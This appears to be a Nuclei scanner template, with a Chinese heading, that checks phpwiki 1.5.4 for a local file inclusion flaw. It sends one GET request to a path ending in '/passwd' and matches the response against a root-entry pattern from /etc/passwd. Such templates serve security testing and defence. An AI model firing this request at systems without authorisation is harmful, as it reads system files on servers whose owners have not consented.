漏洞描述
phpwiki 1.5.4 is vulnerable to cross-site scripting and local file inclusion, and allows remote unauthenticated attackers to include and return the content of locally stored files via the 'index.php' endpoint.
id: phpwiki-lfi
info:
name: phpwiki 1.5.4 - Cross-Site Scripting/Local File Inclusion
author: 0x_Akoko
severity: high
description: phpwiki 1.5.4 is vulnerable to cross-site scripting and local file inclusion, and allows remote unauthenticated attackers to include and return the content of locally stored files via the 'index.php' endpoint.
reference:
- https://www.exploit-db.com/exploits/38027
metadata:
max-request: 1
tags: xss,edb,phpwiki,lfi,vuln
http:
- method: GET
path:
- "{{BaseURL}}/phpwiki/index.php/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200
# digest: 4b0a004830460221008b40c46c041a87e81370dc69b244e13f7839ac284521ad317b47ca7b460be487022100c3e89e1cd65a9120ea8a950e32b6c5891d13ececf9fa56e331050eb474567317:922c64590222798bb761d5b6d8e72950